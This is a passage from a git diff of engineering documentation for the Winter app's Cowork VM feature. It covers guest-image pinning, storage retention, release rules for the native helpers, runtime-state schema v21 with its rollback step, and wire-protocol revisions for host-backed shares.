`SharePolicy`. +- **Cold resume.** Host half: `cowork/cold-resume.ts` maps the recorded `store_state` (`none`, `started`, `created`, `lost`) to a continuation (`fresh`, `either`, `resume`, refuse) and the proven-ended boots of the last incarnation (runtime-state schema v21). Guest half: the session-owner patch (agent SDK #50) is in the pinned SDK commit. The host port stays GATED OFF: no production composition supplies `CoworkSessionDriverDeps.coldResume`, so a conversation with a recorded backend still refuses `cold_resume_unavailable`. Supplying it is the owner's flip. +- **Reproducible pinned guest image** (`scripts/cowork-guest-artifact/`). `pins.json` pins the agent SDK commit `ec91fe06` (plan view, shares, environment gitconfig, cold-resume owner), the expected runtime/cpio/root-manifest digests and the helper, init and relay binary digests, as produced by build 5 (two identical builds, both receipts compared). `kernel/pins.json` pins the Linux 6.18.35 `Image` and `vmlinux`, which two builds under different work paths reproduced byte for byte (status `built-reproduced-unbooted`). The runtime image digest is SHA-256 of the raw kernel-`Image` digest followed by the raw cpio digest (`runtime_image_digest.py`; the worker and launcher recompute it): `runtimeImageDigest` `da1795da4155dca3d40efda00aab2eab87fe6a7c3cc6175078396cff5a86ca65`. A build whose digests differ from the pins stops with exit 3 UNPINNED (the one-run workflow still uploads the image, receipts and `digests.json`, then fails its assert step). Build 6 (the one-run workflow on `cowork/guest-image-build-6`, from integration `cfd80390`; build 5's branch is spent) rebuilt the image with exit [0,0], every pin holding and both builds identical, and the same `runtimeImageDigest`, so the pinned image is confirmed reproducible from integration. Still nothing has booted. + +### Not done + +- `session.create {mode: "cowork"}` still answers `unsupported_topology` for every role; nothing creates or runs a Cowork session. +- The native egress broker and the provider bridge (mux class 3) are held, owner's work; they are not described here. +- Live gates G0-G9 have not run. Nothing has booted; G1 is the first boot, and every gate needs a review of the exact commit and the owner's approval. +- The cold-resume port, the activation seam and the session door's switch stay off until the owner flips them. ## Ordinary host execution policy @@ -39,10 +58,10 @@ Historical persistent-Code-floor reports describe the superseded approach. None of this makes Cowork runnable; there is still no creation door. Sentences followed are quoted in the code and tests. - **Backup exclusion** is the raw-volume primitive's (`cowork/volumes.ts`, `volume-backup.ts`): a sticky `tmutil addexclusion` (never `-p`) on each image when it is created, re-verified on every claim and open; shared instructions, memory and outputs get none. `test/cowork/volume-backup-adapter.test.ts` pins the real adapter on disposable files. -- **Image pins and export generations** (`cowork/images.ts`, `cowork/exports.ts`, `cowork/storage-lifecycle.ts`, runtime-state schema 16): trusted-controller classes with a mandatory authority port, no RPC. A pin records the base and runtime image digests and walks an update through `beginUpdate` then `confirmUpdate` or `abandonUpdate`, only while stopped and unowned, with a mandatory compatibility port; the live digests do not change until confirmed. An export generation is a recorded, manifest-bound descriptor of a stopped, ready, pinned workspace. `validateImport` judges a presented descriptor against canonical records and grants nothing. No bytes are copied, no snapshot is taken, and no restore runs. +- **Image pins and export generations** (`cowork/images.ts`, `cowork/exports.ts`, `cowork/storage-lifecycle.ts`, runtime-state schema 16): trusted-controller classes with a mandatory authority port, no RPC. A pin records the base and runtime image digests and walks an update through `beginUpdate` then `confirmUpdate` or `abandonUpdate`, only while stopped and unowned, with a mandatory compatibility port; the live digests do not change until confirmed. An export generation is a recorded, manifest-bound descriptor of a stopped, ready, pinned workspace. `validateImport` judges a presented descriptor against canonical records and grants nothing. Content-out (PR #97) added the byte-copying `.winterworkspace` writer (`export-writer.ts`, `export-bundle.ts`, with a two-pass shared snapshot) and an in-place restore of a stopped workspace's two images from a verified generation (`restore-bundle.ts`), all behind ports: no RPC reaches them and no production composition runs them. - **Migration B** never copies Cowork storage (`migration/cowork-exclusion.ts`): `cowork/**` is skipped, and a source holding any Cowork tree or populated Cowork table refuses with `cowork_storage_present` (the daemon's boot hook logs one skip line instead). Only the coordinated, quiescent migration the contracts describe could move it, and that does not exist yet. - **Migration C** never names Cowork storage: its moves are the fixed `SDK_COMPAT_LINKS`, `hostRuntimePredicate` keeps guest sessions out of runtime-state rewrites, a workspace that is not `stopped` or a volume that records an owner refuses it, and a manifest naming a `cowork/` path refuses resume, phase 2 and rollback. A rollback with populated Cowork records is refused by the schema step. - **Retention**: deleting a standalone workspace's only conversation tombstones its binding and, when the workspace is retained and stopped, archives it in the same transaction ("Detach/archive its workspace for explicit later deletion/export"): wake and disk admission refuse until an explicit restore, and both volumes and every shared file stay untouched. A Project workspace is unaffected, and a workspace that is not stopped stays retained. That transition lives in `abandonConversation`, and every route that retires a session reaches it: through `createCoworkSessionDeletionHook` (the boot reaper in `daemon.ts`, the mint-time reaper in `ipc/server.ts`, the cleaner's `onDelete`, the `session.create` refusal rollbacks, and the dispatch-children spawn-failure rollback) and directly from the missing-session branch of `CoworkWorkspaceEvents.drain`. None of them removes a volume or a shared file; they delete a session, tombstone its binding, and archive a stopped standalone workspace. **Owner decision 2026-10-16: keep archive-on-any-deletion, no behavior change.** The owner treats a workspace's own state (memory dir, temp dir, scratch, the VM disks) as temporary. It is removed only by the explicit, confirmed workspace delete (not built yet); the reapers, the cleaner and retention archive without removing anything, consistent with `cowork-spec.md` ("Scratch and outputs survive ordinary stop/archive"). Connected Mac folders and GitHub repositories are not part of the workspace and are never cleared. Archive is a state flip that deletes nothing, so automatic archive from every trigger above is acceptable. `test/cowork/storage-retention.test.ts` pins the behavior and ratchets the destructive primitives allowed under `src/cowork`. - **Owner decisions 2026-10-16** (detail in [cowork-storage-security.md](../cowork-storage-security.md#owner-decisions-2026-10-16); the slices are not built): workspace delete removes the VM disks plus the workspace's shared guidance, memory and outputs, only after a confirmation that lists them and offers an export first, never touches connected Mac folders or GitHub remotes, and warns when a GitHub-backed clone on `data.ext4` has unpushed commits or uncommitted changes; an export is a `.winterworkspace` folder bundle (the intended implementation, not part of the decision: the closed manifest plus sparse-copied images, cloned with APFS `clonefile` where possible); VM disks stay excluded from Time Machine and export is the backup path. -- **Still open (technical, not yet built)**: the `.winterworkspace` bundle writer; the shared-file snapshot (a proposal, not contract text: clone where possible, otherwise a double-pass hash, refusing the export if the passes differ); the restore flow (re-recording device/inode after a restore, an approved empty replacement through the existing ApprovalBroker card); the `workspace.archive`/`restore`/`delete` operations and `workspace.export.*` RPCs; wiring the image pin into admission with the native controller slice; and a Cowork-aware Migration B (until then it keeps refusing). +- **Still open (technical)**: the confirmed workspace delete; the `workspace.archive`/`restore`/`delete` operations and `workspace.export.*` RPCs that would reach the writer and restore above; wiring the image pin into admission with the native controller slice; and a Cowork-aware Migration B (until then it keeps refusing). diff --git a/docs/claude/release.md b/docs/claude/release.md index bb028c12d..0ec662f19 100644 --- a/docs/claude/release.md +++ b/docs/claude/release.md @@ -16,5 +16,15 @@ bun run scripts/release.ts # real release (bumps first; -- - Pipeline: `scripts/release.ts` + `scripts/release-lib.ts`; `packaging/winter.rb.tmpl` is the Homebrew cask template it renders. - `releases/notes/.md` is REQUIRED — the GitHub release body and the Sparkle appcast ``, rendered by `releaseNotesHtml`, which throws (naming the line) on anything outside `#`/`##`/`###`, paragraphs, `- ` bullets with indented continuations (no nesting), ``` fences, `` `code` `` and `**bold**`. The preflight fails BEFORE the bump when it is absent: write and commit the notes for the next version, bump and sync, release with `--no-bump`. +## The Cowork native pair is an explicit choice +`release.ts` refuses to start a build until it knows whether the release ships the Cowork native pair (`coworkNativeReleasePlan` in `scripts/cowork-native-lib.ts`, read from `process.env` right after the output folder is cleared and before xcodegen or any build; `--dry-run` included). The pair is the signed launcher (`winter-cowork-launcher`) and VM worker (`winter-cowork-worker`) the daemon would spawn; shipping it activates nothing (the daemon still refuses Cowork sessions). + +| Environment | Mode | What the release gets | +|---|---|---| +| `COWORK_LIBKRUN_INCLUDE` (the directory holding `libkrun.h`) AND `COWORK_LIBKRUN_ARCHIVE` (the stripped production archive) | build | `buildCoworkNative` builds the launcher (`swift build`) and the worker (`apple/Cowork/WinterCoworkHVFWorker/build.py`, which refuses unless the header and archive hash to that folder's `pins.json`) into `dist/cowork-native`; project.yml's "Embed Cowork native" phase (`scripts/embed-cowork-native.sh`) signs them into `Winter.app/Contents/Helpers/WinterCowork/` and writes `Contents/Resources/cowork-native-pins.json`. The release then verifies identifiers, team, hardened runtime, the stated designated requirement, entitlements (worker: the hypervisor key alone; launcher: none), platform dylibs only, no test hooks, and that the pin manifest's CDHashes and libkrun/worker/guest-artifact pins are the ones in this checkout. | +| `COWORK_NATIVE=omit` (and neither libkrun variable) | omit | Nothing is built or embedded: no `WinterCowork` helpers, no pins file. The release fails if a leftover from an earlier build is in the bundle (`checkCoworkNativeOmitted`). | + +Anything else exits before any build with a message naming both ways out: neither given; only one of the two libkrun variables; `COWORK_NATIVE=omit` together with either libkrun variable; or any other value of `COWORK_NATIVE`. `omit` is never the default. `release.ts` does not build or fetch the libkrun archive; the patch queue and its reproducible build are in the libkrun patch-queue package under `apple/Cowork/` (its `scripts/build_archive.py`; deliberately not named by path outside CI, which its anti-wiring guard enforces), and its stripped archive is what `COWORK_LIBKRUN_ARCHIVE` points at. A release that must not wait on one uses `COWORK_NATIVE=omit`. `scripts/build-cowork-native.ts` reads the same two variables (or `--libkrun-include` / `--libkrun-archive`; `--launcher-only` skips the worker), and `embed-cowork-native.sh` itself also honours `COWORK_NATIVE=omit` and rejects any other value. + ## Rolling back across a schema bump -A release that raises `RUNTIME_STATE_SCHEMA_VERSION` (v18 added the Cowork tables, v19 the session reservations) cannot be undone by installing the older app: the older build refuses the newer store. A revert release reverts the feature, never the schema. The user-facing way back is `winter migrate --cowork-schema --rollback` with the newer CLI and the daemon stopped, before installing the older app; put that line in the release notes of any release that bumps the schema (see `docs/RELEASE-NOTES-cowork-schema.md`). +A release that raises `RUNTIME_STATE_SCHEMA_VERSION` (the Cowork tables arrived in v8 to v17; v18 added the session binding, v19 the session reservations, v20 the export content binding, v21 the stable guest uids and cold-resume records; it is v21 now) cannot be undone by installing the older app: the older build refuses the newer store (`newer-schema`). A revert release reverts the feature, never the schema. The user-facing way back is `winter migrate --cowork-schema --rollback` with the newer CLI and the daemon stopped, before installing the older app (it accepts v8..v21, drops only empty Cowork tables and refuses with `cowork-data-present` if one holds a row); a store left at v18, v19 or v20 by an intermediate build needs the same step. Put that line in the release notes of any release that bumps the schema (see `docs/RELEASE-NOTES-cowork-schema.md`; what each version adds: [settings-and-migrations.md](./settings-and-migrations.md#runtime-state-schema-v21-and-the-way-back)). diff --git a/docs/claude/settings-and-migrations.md b/docs/claude/settings-and-migrations.md index 90ac3424d..4b750a90d 100644 --- a/docs/claude/settings-and-migrations.md +++ b/docs/claude/settings-and-migrations.md @@ -16,9 +16,13 @@ - Cowork storage is never copied (`migration/cowork-exclusion.ts`): `cowork/**` classifies as skipped, `planMigrationB`/`resumeMigrationB` refuse with `cowork_storage_present` when the source holds a Cowork tree or a populated Cowork table in its `runtime-state.db` (inspected through a private copy, never in place), the executor and rollback each refuse Cowork paths independently, and the daemon's boot hook logs one skip line rather than refusing to boot. [cowork.md](./cowork.md#storage-lifecycle-records-and-guards-only). - `/migration/manifest.json` is written atomically per step; a half-migrated home refuses boot `home_half_migrated` until `--resume`/`--rollback` (never auto-resumed). CLI: `winter migrate [--from ] [--status|--resume|--rollback] [--yes]` (`packages/cli/src/commands/migrate.ts`). -## Runtime-state schema v19 and the way back -- `runtimes/runtime-state.db` is at schema v19 (`RUNTIME_STATE_SCHEMA_VERSION`; `test/cowork/schema-docs-pin.test.ts` pins this doc and the release note to it). Migration 19 adds the session-door reservations; migration 18 (`rebuildsParentTable`) rebuilds `cowork_conversations` and adds `cowork_home_binding`; every daemon runs the whole ladder on upgrade, Cowork or not. The tables stay empty in production (nothing writes a Cowork row; pinned by `test/cowork/boot-quiet.test.ts`). -- **Rollback is one-way without one step.** An older Winter (0.124.0, schema v7) that meets a v19 store reports `newer-schema` and refuses EVERY session (`winter_leg_unavailable`). To go back: stop the daemon, run `winter migrate --cowork-schema --rollback` with the NEWER Winter's CLI (`downgradeCoworkRuntimeStateToV7`, accepts v8..v19; it drops the empty Cowork tables and sets v7), THEN install the older app. The command refuses with `cowork-data-present` only if a Cowork table holds a row, which a normal user never has. A revert release reverts the FEATURE, never the schema. +## Runtime-state schema v21 and the way back +- `runtimes/runtime-state.db` is at schema v21 (`RUNTIME_STATE_SCHEMA_VERSION`; main's `test/cowork/schema-docs-pin.test.ts` pins this doc and `docs/RELEASE-NOTES-cowork-schema.md` to it). Every daemon runs the whole ladder on upgrade, Cowork or not, and every Cowork table stays empty in production (nothing writes a Cowork row; pinned by `test/cowork/boot-quiet.test.ts`). What the last four steps add, all records only (`cowork/schema.ts`): + - **v18** (`rebuildsParentTable`): rebuilds `cowork_conversations` with `location_kind` and `backend_session_id`, and adds the write-once `cowork_home_binding`. + - **v19**: `cowork_session_reservations`, the durable first step of a Cowork `session.create`. + - **v20**: `cowork_exports.content_digest` and `cowork_export_output_ids` (content-out). + - **v21**: stable guest uids and the cold-resume records. `cowork_conversations` gains `runtime_uid`, `tool_uid`, `store_state` and `last_incarnation_id`; `cowork_workspaces` gains `store_volume_uuid` and `browse_uid`; new tables `cowork_guest_uids` and `cowork_guest_boots`; `cowork_peer_inbox` gains `offer_count`, `acked_hold_token`, `commit_confirmed_at` and `commit_outcome`. Pre-v21 conversations that already had a guest store get no uid rows (a documented gap that touches only dev stores; such a store is recreated, never migrated). +- **Rollback is one-way without one step.** An older Winter (0.124.0, schema v7) that meets a v21 store reports `newer-schema` and refuses EVERY session (`winter_leg_unavailable`). To go back: stop the daemon, run `winter migrate --cowork-schema --rollback` with the NEWER Winter's CLI (`downgradeCoworkRuntimeStateToV7`, accepts v8..v21; it drops the empty Cowork tables and sets v7), THEN install the older app. The same applies to a store left at v18, v19 or v20 by an intermediate integration build. The command refuses with `cowork-data-present` only if a Cowork table (`COWORK_TABLES`; the inbox sequence counters aside) holds a row, which a normal user never has; the Migration C step back to v6 (`winter migrate --sdk-home --rollback`) also accepts v7..v21 and also refuses a populated Cowork table. A store newer than v21 is refused by both. A revert release reverts the FEATURE, never the schema. - `winter doctor` on a newer-schema store says the same (the finding text names the command); an older build cannot say it, which is why the release notes carry it. ## Legacy projects diff --git a/docs/cowork-native-worker.md b/docs/cowork-native-worker.md index 7f9589199..dbed47ec0 100644 --- a/docs/cowork-native-worker.md +++ b/docs/cowork-native-worker.md @@ -1,6 +1,6 @@ # Cowork native worker: wire contract and host adapter -Status: contract, N2 slice S1, 2026-10-16 (round 3, 2026-10-17: conversation-set delivery, runtime streams, guest faults, `halting`, the layered stop timeline; **text version 2, 2026-10-18: the retained-receipt MAC**, section 7.1). SOURCE ONLY. Nothing in this document or in `packages/core/src/cowork/native/` +Status: contract, N2 slice S1, 2026-10-16 (round 3, 2026-10-17: conversation-set delivery, runtime streams, guest faults, `halting`, the layered stop timeline; **text version 2, 2026-10-18: the retained-receipt MAC**, section 7.1; **contract revision 3, 2026-10-19: host-backed shares, cold resume and the guest file channel**, section 12). SOURCE ONLY. Nothing in this document or in `packages/core/src/cowork/native/` is wired into the daemon, no VM was started to produce it, and every live gate (G0 to G6) still needs a review of the exact commit and the owner's approval. The executable twin of this document is [`protocol.ts`](../packages/core/src/cowork/native/protocol.ts); the golden vectors in @@ -45,7 +45,8 @@ Control-class frames terminate at the worker. They never cross L3 or L1: the dae ## 3. Common wire rules * JSON texts are UTF-8, exactly one line, last byte `\n`, no whitespace, integers only, `null` only where a table says so. Control and bootstrap payloads (the mux classes, section 6) are printable ASCII only: a character outside 0x20 to 0x7e makes the payload malformed, and the guest's helper refuses it too. -* **Text version.** Every L1 line and every stop receipt carries `"v":2` (it was 1 before the receipt MAC). The binary headers (the L2 envelope `WEV1`, the L3/L4 mux `WMX1`, both `version = 1`) and the bootstrap/runtime JSON inside mux frames (`"v":1`) are unchanged: nothing in them changed. A launcher or daemon that sees `"v":1` on an L1 line refuses it (`version`; vector `begin-version-one`). +* **Text version.** Every L1 line and every stop receipt carries `"v":2` (it was 1 before the receipt MAC). The binary headers (the L2 envelope `WEV1`, the L3/L4 mux `WMX1`, both `version = 1`) are unchanged. A launcher or daemon that sees `"v":1` on an L1 line refuses it (`version`; vector `begin-version-one`). +* **Payload versions (contract revision 3).** Control-class JSON stays `"v":1`. **Bootstrap-class JSON is `"v":2`**: the conversation set and `runtime_ready` gained required keys, and `shares` and `shares_mounted` are new (section 12). A payload with any other `v` is refused as `version` before its schema is read (vectors `bootstrap-version-one`, `bootstrap-version-three`). L1 lines and receipts did not change shape (revision 3 adds new L1 types, which a revision-2 peer refuses as `unknown_type`, and one refusal code), so they stay at text version 2; see section 12 for that choice. * Keys appear in EXACTLY the order of the tables below (`v`, then `t`, then the table order). A parser builds the typed value and re-serializes it; the result must equal the input byte for byte. That one comparison refuses duplicate keys, reordered keys, alternate escapes, alternate number spellings, and trailing data. Every positive vector exercises the order; the negative @@ -58,7 +59,7 @@ Control-class frames terminate at the worker. They never cross L3 or L1: the dae tokens additionally allow `.` and `:`. A digest is 64 lowercase hex characters, a stop nonce 32 lowercase hex characters (16 random bytes). * `device` and `inode` are decimal strings, because they are `u64` and JSON numbers are not. Capacities are JSON integers. -* Limits: control line 16 KiB; mux carrier line 1,572,864 bytes; mux payload control 4 KiB, bootstrap 256 KiB (the `conversations` message at most 20 KiB), runtime 1 MiB (the 4 byte stream prefix included) +* Limits (revision 3 adds the file channel's: request line 16 KiB, response line 384 KiB, 4 requests outstanding; section 6.2): control line 16 KiB; mux carrier line 1,572,864 bytes; mux payload control 4 KiB, bootstrap 256 KiB (the `conversations` message at most 20 KiB), runtime 1 MiB (the 4 byte stream prefix included) (the existing guest runtime transport frame); one stop receipt 8 KiB; nesting depth 4 on L1. ## 4. L1: daemon and launcher (NDJSON) @@ -73,13 +74,15 @@ launcher-bound side is refused as `bad_direction`. | `hello` | `launcherInstanceId`, `hostBootId`, `parentVerified` (literal `true`) | first line. The launcher states that it verified its parent; the daemon treats it as a gate, never as proof. | | `begun` | `id`, `workerInstanceId`, `workerPid`, `workerStartToken` | worker spawned suspended, executed image validated, SCOPE delivered, sandbox installed. PID and token are diagnostics only. | | `volumes_accepted` | `id` | the worker received two descriptors after its sandbox and validated them against the SCOPE | -| `refused` | `id`, `code` | one of `bad_request busy not_begun worker_spawn_failed code_identity_mismatch sandbox_failed volumes_rejected internal` | +| `refused` | `id`, `code` | one of `bad_request busy not_begun worker_spawn_failed code_identity_mismatch sandbox_failed volumes_rejected internal shares_rejected` (`shares_rejected`, revision 3: a `shares` line whose descriptors do not match its records) | | `worker_state` | `state` | informational: `sandboxed volumes_accepted vm_running guest_hello draining drain_acked exited halting guest_fault`. `halting` and `guest_fault` mirror the L2 statuses of section 5 (the guest said it is halting; the guest said it is failing). Never evidence of a release; a daemon that has seen `guest_fault` refuses an orderly receipt for that run (section 7). | | `mux_up` | `frame` | one bootstrap or runtime mux frame, base64 of the whole frame | | `stopped` | `id` (or `null`), `receipt` | a Class A receipt (section 7). `id` is the `stop` request it answers, `null` for an owner-loss drain. | | `uncertain` | `receipt` | a Class B receipt (section 7) | | `pong` | `id` | answer to `ping` | | `fault` | `code` | the channel is no longer trustworthy: `parent_unverified protocol_violation worker_channel_lost internal` | +| `share_revoked` | `tag` | revision 3: the worker's device thread for that share has closed every descriptor it held; the cutoff is complete (section 12.1). Sent once per tag. | +| `share_notice` | `tag`, `kind` | revision 3: `envrc vscode_tasks vscode_settings code_workspace idea_project` (an allowed write to a watched auto-run name) or `git_protected` (a refused git write); at most one per tag and kind per incarnation | ### 4.2 Daemon to launcher @@ -91,11 +94,13 @@ launcher-bound side is refused as `bad_direction`. | `stop` | `id`, `stopNonce`, `reason`, `budgetMs` | `reason` one of `user shutdown restart update failed-start`; `budgetMs` at most 120000 (the documented budget is 30000) | | `receipt_retire` | `confirmationId` | the daemon finished with that receipt; the launcher may delete its durable copy | | `ping` | `id` | liveness probe | +| `shares` (**one descriptor per record**) | `id`, `shares` | revision 3, at most once, after `hello` and before `begin`: 1 to 12 records `tag, kind, mode, device, inode, path, guestPath` in descriptor order (section 12.1) | +| `share_revoke` | `id`, `tag` | revision 3: cut one share off now (section 12.1); a repeat for the same tag is ignored | ### 4.3 Descriptors on L1 -`SCM_RIGHTS` is allowed on `volumes` and nowhere else. The sender attaches exactly two descriptors (data, environment) to a -SINGLE `sendmsg` that carries the whole line. The receiver reads every chunk with `recvmsg` and a control buffer, and applies +`SCM_RIGHTS` is allowed on `volumes` and `shares` and nowhere else. The sender attaches exactly two descriptors (data, environment) to a +SINGLE `sendmsg` that carries the whole `volumes` line, and exactly one directory descriptor per record to the single `sendmsg` of a `shares` line. The receiver reads every chunk with `recvmsg` and a control buffer, and applies this rule: descriptors arriving with any other data are a protocol violation; the wrong count is `bad_rights`; a truncated control buffer (`MSG_CTRUNC`) is fatal because the kernel may already have installed descriptors nobody will see. In every refusal the receiver closes everything it was handed. **The launcher never sends descriptors to the daemon.** @@ -130,6 +135,9 @@ Daemon-side mechanics, measured with Bun 1.3.14 on macOS 26 (arm64) and pinned b | 3 | `drain` | launcher to worker | 28 bytes | none | | 4 | `status` | worker to launcher | 40 bytes | none | | 5 | `fault` | worker to launcher | 8 bytes | none | +| 6 | `shares` | launcher to worker | 3,704 bytes | exactly one per share (1 to 12) | +| 7 | `share_revoke` | launcher to worker | 32 bytes | none | +| 8 | `share_event` | worker to launcher | 40 bytes | none | * `scope` payload: five 64-byte NUL-padded ASCII fields `workspaceId, incarnationId, controllerInstanceId, workerInstanceId, admissionId` (offsets 0, 64, 128, 192, 256); `runtimeImageDigest` as 32 raw bytes at 320; `u64 leaseEpoch` at 352; @@ -147,10 +155,20 @@ Daemon-side mechanics, measured with Bun 1.3.14 on macOS 26 (arm64) and pinned b * `fault` payload: `u32 code` (1 `bad_scope`, 2 `bad_volumes`, 3 `sandbox_failed`, 4 `vm_failed`, 5 `mux_violation`, 6 `truncated_rights`, 7 `internal`, 8 `second_drain`), `u32 reserved`. A second DRAIN envelope is answered with FAULT `second_drain` and otherwise ignored: the first DRAIN's nonce and budget stand, and a later one can neither replace nor extend them. +* `shares` payload (revision 3): `u32 recordVersion = 1`, `u32 count` (1 to 12), then twelve 308 byte slots; the first `count` hold + `tag[32]` (NUL-padded, `[a-z0-9-]{1,32}`), `u64 device`, `u64 inode`, `u32 flags`, `guestPath[256]` (NUL-padded), and every other slot is zero. + `flags` are the ABI's: bit 0 read-only, bit 1 Winter share, bit 2 folder rules; exactly one of bits 1 and 2, nothing else. A Winter share's guest path + and mode are fixed by its kind, a folder's guest path is `/workspace/folders/` (section 12.1). Sent after the worker's `sandboxed` status; the + worker compares each descriptor with its argv parameter by `F_GETPATH` and `fstat`. +* `share_revoke` payload: `tag[32]`. `share_event` payload: `tag[32]`, `u32 event` (1 `share_revoked`, 2 `share_notice`), `u32 notice` (0 for + `share_revoked`; for `share_notice` 1 `envrc`, 2 `vscode_tasks`, 3 `vscode_settings`, 4 `code_workspace`, 5 `idea_project`, 6 `git_protected`). ### The worker process (final for N2) -* argv is exactly `[path]`; the environment is the launcher's two variables (`LC_ALL=C`, `LANG=C`). +* argv is exactly `[path]`, or with host-backed shares (revision 3) `[path, "--shares-v1", "", ("ro"|"rw", "") x N]` with N a canonical decimal + from 1 to 12 and the paths canonical, distinct and never nested; the worker turns each pair into the sandbox parameter `SHARE_RO_` or `SHARE_RW_` and + exits `2` on any deviation. It is the one input read before the sandbox, and it comes from the signed launcher that spawned the worker suspended. The + environment is the launcher's two variables (`LC_ALL=C`, `LANG=C`). * Descriptor **3** is the L2 end (an unnamed `AF_UNIX SOCK_DGRAM` socketpair), descriptor **4** is the L3 end (an unnamed `AF_UNIX SOCK_STREAM` socketpair). Descriptors 0 to 2 are the launcher's business; every other descriptor is closed at start. * The guest boot artifacts are `/cowork-guest/kernel` and `.../cowork-guest/initramfs.cpio`. @@ -206,11 +224,13 @@ Control and bootstrap payloads are the JSON object WITHOUT a trailing newline, k | bootstrap, up | `hello` | `guestBootId`, `dataSerial` (`winter-data`), `environmentSerial` (`winter-environment`) | | bootstrap, down | `plan` | `operationId`, `nonce`, `plan` (a protocol 3 `VolumeFilesystemPlan`, sorted keys) | | bootstrap, up | `receipt` | `operationId`, `nonce`, `receipt` (a `VolumeFilesystemReceipt`, sorted keys) | -| bootstrap, up | `fault` | `operationId`, `nonce`, `code` (`bad_plan probe_failed format_failed replay_failed mount_failed internal bad_conversations supervisor_failed second_conversations`) | +| bootstrap, up | `fault` | `operationId`, `nonce`, `code` (`bad_plan probe_failed format_failed replay_failed mount_failed internal bad_conversations supervisor_failed second_conversations share_inventory share_mount_failed resume_store_missing fresh_store_not_empty`) | | bootstrap, down | `ready` | `operationId`, `nonce` | | bootstrap, up | `mounted` | `operationId`, `nonce` | -| bootstrap, down | `conversations` | `operationId`, `nonce`, `incarnationId`, `profile`, `conversations` (section 6.1) | -| bootstrap, up | `runtime_ready` | `operationId`, `nonce`, `conversations` (how many the supervisor now serves, 1 to 16) | +| bootstrap, down | `shares` | `operationId`, `nonce`, `shares` (revision 3: 1 to 12 of `tag, guestPath, readOnly, kind`; section 12.1) | +| bootstrap, up | `shares_mounted` | `operationId`, `nonce` | +| bootstrap, down | `conversations` | `operationId`, `nonce`, `incarnationId`, `profile`, `browseUid` (revision 3), `conversations` (section 6.1) | +| bootstrap, up | `runtime_ready` | `operationId`, `nonce`, `conversations` (how many the supervisor now serves, 1 to 16), `continuations` (revision 3: for each host-query conversation, `fresh` or `resume`, as the supervisor ran it) | On L1 a mux frame travels as `{"v":2,"t":"mux_down","frame":""}` or `mux_up`: the base64 is canonical (re-encoding must reproduce it) and the frame inside must itself be exact. A carrier holds a bootstrap or runtime frame only. @@ -264,7 +284,7 @@ so the conversation set is the only message with a cap of its own. | `runtimeUid`, `toolUid`, `workspaceGid` | 1000 to **65533** (65534 is `nobody` and 65535 the invalid id; nothing requires them); every `runtimeUid` and `toolUid` of the set distinct, and no `workspaceGid` equal to any `runtimeUid` (the supervisor's own rule) **or any `toolUid`** (a group id equal to a uid is that user's private group). `workspaceGid` need NOT equal a uid: PID 1 gives each runtime and tool process the primary gid equal to its own uid (the supervisor does not check that, so the contract does not carry it), and `workspaceGid` is the one extra, shared group. | | `policy` | `auto plan ask accept-edits dont-ask bypass` | | `roots` | 1 to 16 of `id, guestPath, source, readOnly`; ids and views distinct, no view inside another; `guestPath` is one of `/workspace/folders/[/...]`, `/workspace/repos/[/...]`, `/workspace/.winter/memory`, `/workspace/.winter/scratch/`, `/workspace/outputs/`; `source` is a canonical absolute path under `/workspace/` (no `.`, `..` or empty component, at most 1024 bytes) | -| `runtime` | `null`, or `model` (1 to 256 characters), `timeoutMs` (1 to 600000), `toolClasses` (a subset of `read write execute`, in that order), `provider`, `guided` (`null`, or `bindingId` a version 4 UUID and `generation` 1 or more) | +| `runtime` | `null`, or `model` (1 to 256 characters), `timeoutMs` (1 to 86400000 for the host-query profiles; revision 3, see section 12.2; the fixture `fresh` profile is never carried and keeps its 600 s ceiling), `toolClasses` (a subset of `read write execute coordinate`, in that order), `provider`, `guided` (`null`, or `bindingId` a version 4 UUID and `generation` 1 or more), `continuation` (revision 3: `fresh`, `resume` or `either`), `endedGuestBoots` (revision 3: 0 to 4 distinct lowercase guest boot UUIDs, never the live boot, empty for `fresh`) | `provider` is public metadata only: `{scope, selection}` with recursively sorted keys, at most 4 KiB. `scope` has exactly `accountRevision backendSessionId bootId grantRevision homeId incarnationId leaseEpoch modelRevision sessionId taskId workspaceId`; `selection` has `capabilities family modelKey protocol providerId providerModelId` and optionally @@ -288,16 +308,18 @@ frames without reading them, change nothing. | Offset | Size | Field | | --- | --- | --- | | 0 | 1 | `conversation`: index into the delivered `conversations` list, 0 to 15 | -| 1 | 1 | `stream`: 1 = IN (host to guest), 2 = OUT (guest to host), 3 = ERR (guest to host); 0 and 4 or more are refused | +| 1 | 1 | `stream`: 1 = IN (host to guest), 2 = OUT (guest to host), 3 = ERR (guest to host), 4 = FILE_IN (host to guest), 5 = FILE_OUT (guest to host); 0 and 6 or more are refused, and 4 and 5 only on conversation 0 (revision 3) | | 2 | 1 | flags: bit 0 = this is the end of that stream after these bytes; every other bit zero | | 3 | 1 | reserved, zero | -A conversation's three streams are the supervisor's `RuntimeDuplexPorts` input, stdout and stderr (ERR is carried, not dropped). IN travels only down; OUT and ERR only up (anything else is `bad_direction`). An empty data section +A conversation's three streams are the supervisor's `RuntimeDuplexPorts` input, stdout and stderr (ERR is carried, not dropped). IN and FILE_IN travel only down; OUT, ERR and FILE_OUT only up (anything else is `bad_direction`; `runtime-stream-four` travelling up is therefore `bad_direction` since revision 3). An empty data section is valid only with the end flag. After a stream's end nothing more may arrive on it, and a conversation index outside the delivered set is refused (`CoworkNativeRuntimeStreams` is that state). Data is limited by the payload bound, 1 MiB minus 4 bytes; a sender uses chunks of at most 256 KiB (the host's own chunk limit). Frames of this class are delivered only after `runtime_ready`. **Runtime IN flow control (normative, host side).** The guest relay's IN ring is 4 MiB and an overflow stops the whole guest, so the contract bounds the host: the runtime IN payload bytes sent with no OUT or ERR byte received since stay **at or below 1 MiB** (`COWORK_NATIVE_LIMITS.runtimeInFlightBytes`, 1,048,576, a quarter of the ring). Any OUT or ERR frame that carries payload BYTES proves the guest is reading and clears the count; an empty OUT or ERR frame (the end flag alone) clears nothing. Host-query is request/response, so this needs no credit frame: one request (at most 1 MiB, in chunks of at most 256 KiB) is in flight and its first output byte acknowledges it; a longer request is not possible in N2. `CoworkNativeRuntimeStreams` applies the same rule to both ends (the sender must not send a frame that would exceed it, the receiver refuses it as `oversize`), and `runtime-flow.json` pins the cases. A credit or window frame stays a later option if streaming requests larger than 1 MiB are ever needed. +**The guest file channel (revision 3, normative).** FILE_IN and FILE_OUT (`file_in`, `file_out` in `protocol.ts`) carry the guest file channel's request and response lines (`packages/core/src/cowork/guest-file-channel.ts`) on conversation 0 only; a request names its own 